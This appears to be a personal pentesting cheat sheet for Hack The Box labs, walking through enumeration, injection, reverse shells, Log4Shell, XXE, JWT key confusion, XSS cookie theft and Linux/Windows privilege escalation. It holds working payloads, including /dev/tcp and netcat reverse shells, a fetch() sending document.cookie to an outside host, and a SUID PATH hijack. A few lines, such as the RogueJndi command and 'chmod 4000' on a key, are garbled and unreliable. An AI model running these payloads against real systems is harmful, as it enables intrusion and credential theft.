I have started playing around in https://www.hackthebox.com platform and I’ll use this article to save all the steps I take to complete the challenges.

While performing pentesting, there are a series of steps that are always the same. The steps are (sorted by order):

Table of contents

  1. Enumeration
  2. Breaking in
    1. Poorly configured access
    2. Brute force user/password
    3. SQL Injection
    4. Server-side template injection
    5. Arbitrary file upload
    6. Local file inclusion
    7. Remote file inclusion
    8. Reverse shell
    9. Rogue servers
      1. NTLM
      2. Log4JShell
    10. Search for vulnerabilities
    11. XML eXternal Entities
    12. JWT Key Confussion
    13. Cross-Site Scripting
  3. Foothold, we are in
    1. List users/group
    2. Search keywords
    3. Local port forwarding
    4. Lateral movement
    5. Search for SSH keys
  4. Privilege escalation
    1. Privilege escalation on Windows
    2. Privilege escalation on Linux
      1. Set owner User ID
      2. Abuse regular application


Using nmap the attacker needs to see what is open in the target machine. For reference check: pentesting tools.

At this stage, we’ll behave like a legitimate user, e.g.: perform regular searches, etc…

If you discover a website, it’s interesting to test the following enumeration techniques:

Directory brute force

This is a technique useful to detect available paths for a web application. Also known as dir busting.

The technique consist in using a list of words and try all the combinations in the dictionary to see if the web server returns a positive (200 OK) answer to the page. If so, we discover a page in that path.

The tools to perform this is gobuster.

Another option is to use sitemap functionality of burp suite

For reference check: pentesting tools.

Sub-domain brute force

This techniques tries to discover sub-domains configured, you can do it by checking the DNS records or the virtual hosts configured in a server. You can use gobuster to perform this.

Breaking in

This stage is the most varied one, the idea is to find a vulnerability to get to a shell into the machine. At this point, you should have a list of services (and versions) that are running in the machine. You can do a google query with the service you want to explot.

The attack vector is different to each machine, here you can find most common vector attacks:

Poorly configured access

The user might have ftp or tftp or smb shares with anonymous access. It’s worth taking a look because those access might leak some valuable information. Additionally, you can also check metasploit to check for this kind of access.

For reference check: pentesting tools.

Brute force user password

If you discover a login page, why not trying some default user/password combinations?. One thing to try is to search for the version of the software and query google for the default user/password.

Try the following user/password combinations first:


Another option to try here is to try to brute force the user/password:

You can try a dictionary attack to bruce force user/password combinations.

You can use a tool like thc-hydra: https://github.com/vanhauser-thc/thc-hydra. However, this will fail if there if there’s any kind of CSRF protection.

In order to bypass the CSRF protection, we must do the requests from the browser. I prepared a tool to do that:


Take into account that if you know for sure the user, it will take much less time than having to guess both user and password.

SQL Injection

Poorly programmed queries can be very dangerous and leads to escaping issues in the queries. If you see any indications of a query, try to use sqlmap to identify potential SQL injections or try some very basic ones.

If the SQL queries are poorly built, it means that they are susceptible to SQL injections. If the user input is not sanitised, we can break up SQL queries that will cause problems, such as bypassing a login page.

A typical SQL query for a login page can look like this:

SELECT * FROM members WHERE username = 'admin' AND password = 'admin'

If the input values are not sanitised, we can break the query by putting a comment character to comment the part of query that does the password checking:

SELECT * FROM members WHERE username = 'admin' #' AND password = 'kjdfjklsdf'

Now the query becomes:

SELECT * FROM members WHERE username = 'admin'

therefore, the query is no longer checking for password and the login page is bypassed.

username: admin'#
password: admin123 (any password will do the trick)

You can find more SQL injections here: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/

Pay attention when breaking the rest of the query with comments. The standard comment -- might not always work, it’s worth trying another kind of comments like #

Server side template injection

if you see a search form and you type something and you see the output of what you typed again in the webpage, the webpage might be susceptible for SSTI. Try to identify which template engine and search how to exploit it.

If the target is using a templating engine, it is possible to use the template injection to execute commands in the server.

One easy way to test that is to put something like {{7*7}} in the template and check for the result.

If the template executes, we’ll see the result, out of luck we will see nothing. Or maybe we’ll see some trace that reveals the technology behind.

Arbitrary file upload

This is a very interesting vulnerability. It lets the attacker upload some file to the server. You can do this to start a reverse shell. That is the targeted machine establish a permanent connection to the attacker machine and it provides a shell where the attacker can run commands if it was inside the machine.

Local File Include (LFI)

Abuse of file loading capability (for instance PHP include function) to show a local file in the browser:


You can try to read the following files for Linux:


and for Windows:


Remote File Include (RFI)

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts.

This can be use to force the target make a call to a compromised host in the same network and captura the credentials challenge:


Reverse shell

Reverse basically means that it is the target that will initiate a connection request back us (the attacker).

For example, once we have remote code execution in the target, we’ll be able to download and execute a piece of code.

Usually the process is:

  • Create a file in the attacker machine containing a reverse shell payload:
    bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
  • Create a server in the attacker machine which will act as the shell I/O. Normally this is done with netcat.
    nc -nvlp 1337
  • Start a webserver in the attacker machine that will server the reserve shell payload. You can do that with python (in the same directory as the payload):
    python3 -m http.server 8000
  • Make the target machine download and execute the reverse shell payload:

You can find a list of reverse shells here: https://www.revshells.com/

Once you have shell access, you can try to get a improve the shell if python is installed:

python3 -c 'import pty;pty.spawn("/bin/bash")'


script /dev/null -c bash


python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo
export TERM=xterm

Or, you can find mmore methods to improve the shell here: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

For reference check: pentesting tools.

Rogue servers

The idea of rogue server is to start a server in the attacker machine and make the target machine speaks with the attacker server. This is used for instance to retrieve NTLM hash challenge or to explot log4j vulnerability.


Windows New Technology LAN Manager (NTLM) is a suite of security protocols offered by Microsoft to authenticate users’ identity and protect the integrity and confidentiality of their activity. At its core, NTLM is a single sign on (SSO) tool that relies on a challenge-response protocol to confirm the user without requiring them to submit a password.

In order to mess with it, you might use the responder tool

The idea to bypass the NTLM is to force the target authenticate against a rogue SMB server (provided by responder tool). This tool will capture the authentication challenge hash and then you can use john tool to compare the hash with a dictionary to see if any entry matches.

For reference check: pentesting tools.


It was discovered that log4j libraries for certain versions were vulnerable to remote code execution. In order to do so, you setup a rogue JNDI/LDAP server from https://github.com/veracode-research/rogue-jndiin the attacker machine and send a JNDI command to the target machine to communicate with the rogue LDAP server to get a revershe shell on the attacker machine.


java -jar target/RogueJndi-1.1.jar --command "bash -c
d}|{bash,-i}" --hostname ""

Start the rogue JNDI server that will start a reverse shell on using the base64 payload provided.

Then, send the payload to force the target machine connect the rogue JNDI/LDAP server:

${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat}

Search for vulnerabilities

If you can establish the version of the service running, you can query for any known vulnerability of that version:


XML eXternal Entities

If the application is using XML to process any input data, it might be vulnerable to this kind of attacks.

This attack works because the XML parser usually are configured with support for XML external entities. This is a feature of XML to be able to define objects outside the defined structure, but can be abuse to list internal files or to make connections to the outside of the target machine.

In order to check if the machine is vulnerable to this attack, you can try to show the contents of /etc/hosts(Linux) or C:/Windows/System32/drivers/etc/hosts(Windows). e.g.:

<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<order><quantity>2</quantity><item>&xxe;</item><address>Fake street 1234</address></order>

JWT Key confussion attack

JWT Tokens are a way to sign and verify tokens that can contain important data such as credencials, roles, etc…

They have two ways of working: asymetric (RSA) and symmetric. In asymetric the token is signed with the private key and can be verified with the public key. In symmetric, the token is signed with a shared secret.

This signing and verifing is very important because it ensures that nobody modifies the tokens.

However, for old unsecure version of the libraries that handles this, it is possible to modify the payload and sign with the public key (if you are lucky enough to get it). When we change the signing algorithm, we are telling the other side that we’re using symmetric algorithm.

See the following example:

In the received side, the token is verified using symmetric and asymmetric algorithms:

async decode(token) {
    return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));

First, it will try with RSA (RS) and later with Hash (HS) if the previous fails.

This way in the client side, we can modify the payload and sign the payload by changing the signing algorithm:

const fs = require('fs');
const jwt = require('jsonwebtoken');

const publicKey  = fs.readFileSync('./public.key', 'utf8');
const validJwtToken  = fs.readFileSync('./jwt-token.txt', 'utf8');

decoded = jwt.verify(validJwtToken, publicKey, { algorithms: ["RS256"]})
decoded["username"] = "admin' AND 1=2 UNION SELECT 1,top_secret_flaag,3 FROM flag_storage  -- -"
re_encoded = jwt.sign(decoded, publicKey, {algorithm: 'HS256'})


Here, we are using the public key to verify the received token, as the regular way.

Then, we change the payload and we sign again to generate the JWT. We use the public key and we change the algorithm to Hash. This way the received will verify the token using the public key. It will first fail with the asymmetric but it will work with the symmetric algorithm.

In this case, we are modifying the token to retrieve something from the database using an SQL injection.

Cross-Site Scripting (XSS)

This is a massive vulnerability. It consist on a web application accepting input from the user. If the input is not sanitized, the attacker might be able to write HTML in the input form. This HTML can include malicious javascript code.

Let’s imagine we have an application with a form with no sanitized input. On another view we list that input. An attacker can place JS code that will be executed in the other view.


  1. Create a payload file that will send the interesting data (in our case, we want to extract something from the cookie):
    fetch("https://ojm5l9c8.requestrepo.com/?" + document.cookie);
  2. Write the XSS HTML code in the input form field:
    <script src=https://cdn.jsdelivr.net/gh/adriangalera/htb-cursed-secret-party-xss@master/xss.js></script>
  3. In the remote url (requestrepo), you’ll see the value of the document.cookie

There’s a security header in modern browsers to prevent this Content Security Policy (CSP). However, if you are unlucky enough to include a CDN in that header, you are still vulnerable since one can put arbitrary code in the CDN.

Foothold, we are in

At this point we have shell (or reverse) access to the target machine. We can start to do some interesting stuff:

List users and groups

You can query all the available users in the target by querying /etc/passwd.

To retrieve the details about the current shell user, you can do id command. It will list the groups that the user belong. This might be useful for privilege escalation.

You can also list the binaries the user or group has access:

find / -group bugtracker 2>/dev/null

Search for interesting keywords

You can search inside the contents of files for interesting contents (passwords):

Let’s image someone decided to hardcode a username/password in one file in a web server. You can find it checking the files one by one or, you can use grep to search all files for interesting keywords:

grep -Ril 'passwd*' /var/www/html

-R recursive -i ignore case -l show the file, not the match

Local port forwarding

Imagine you gain access to a machine which is running a service only for localhost. You can make that service available outside localhost by doing local port forwarding. e.g funnel.htb server is running postgres on port 5432.

With the next command, we’ll do a SSH tunnel between localhost:5432 and funnel.htb:5432 port

ssh -L 5432:localhost:5432 christine@funnel.htb

Lateral movement

Normally when the attacker get shell acess, the user has very few permissions. The attacker should check for credentials (inside database, inside files), etc… to switch from a low-permission user to a user with more permissions. That’s called lateral movement and it’s a step forward privilege escalation.

Search for SSH keys

Once we got shell access to a machine, it might be worth to try to retrieve the SSH private keys for the user. In order to do so, we must check the .ssh folder in the user home:


Paste the contents of that private key into the attacker machine and run:

chmod 4000 michael-id-rsa
ssh -i michael-id-rsa michael@target.htb

Privilege escalation

At this point we have shell (or reverse) access to the target machine, however, want to achieve root (or Administrator) access to the target machine. The mecanism might differ depending on the application or OS we’re exploting.

Privilege escalation on Windows

You can use https://github.com/carlospolop/PEASS-ng.

You need to run the executable file in the target Windows machine. The script will identify the possible vulnerabilities to explot and gain admin access.

It might be possible that the password of the admin user has been pasted in the history of the shell. Check the output of winpeas for references to ConsoleHost_history.txt file.

Another interesting path to privilege escalation is to check the permissions of a file. In order to do so, run icacls command. (F) means Full access and is a promising way of privilege escalation.

You can potentially modify a script and make it open a reverse shell with netcat.

echo C:\Log-Management\nc64.exe -e cmd.exe {your_IP} {port} > C:\Log-Management\job.bat

When the script is executed, you’ll get a shell in the attacker netcat

Privilege escalation on Linux

First, check what permissions sudo permissions the user has with sudo -l.

Also, check the binaries accessible to the group of the user:

find / -group bugtracker 2>/dev/null

Set owner User ID

If any, check the file flags and permissions:

robert@oopsie:/var/www/html$ ls -lisa /usr/bin/bugtracker && file /usr/bin/bugtracker
<isa /usr/bin/bugtracker && file /usr/bin/bugtracker
264151 12 -rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped

The flags show s and file shows setuid. That is a special permission named SUID or Set Owner User ID. SUID allows an alternate user to run an executable with the same permissions as the owner of the file instead of the permissions of the alternate user. That looks promising for privilede escalation.

In our case, the binary ‘bugtracker’ is owned by root & we can execute it as root since it has SUID set.

If we execute the app, we can see that is asking for input. On invalid input it shows an error showing that it’s using cat command:

robert@oopsie:/var/www/html$ bugtracker 12
bugtracker 12

: EV Bug Tracker :

Provide Bug ID: 12

cat: /root/reports/12: No such file or directory

Looks like it’s not using the full path of the cat tool. We can create a executable named cat and put it before in PATH and it will execute that cat (/tmp/cat) instead of the real cat:

echo "/bin/sh" > /tmp/cat
robert@oopsie:/var/www/html$ export PATH=/tmp:$PATH
robert@oopsie:/var/www/html$ echo $PATH
robert@oopsie:/var/www/html$ bugtracker	

: EV Bug Tracker :

Provide Bug ID: 12

# whoami

and we have root access.

Abuse regular application

If sudo -l shows permission for any binary, check https://gtfobins.github.io/ for a way to exploit the binary to gain root access.

E.g.: you can get root access with vim. If the user has sudo access to edit some file, you can abuse it to get root access:

:set shell=/bin/sh

Another case, might be seeing a unix socket (docker or lxd) with potential root permissions, in that case check in hacktrics: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation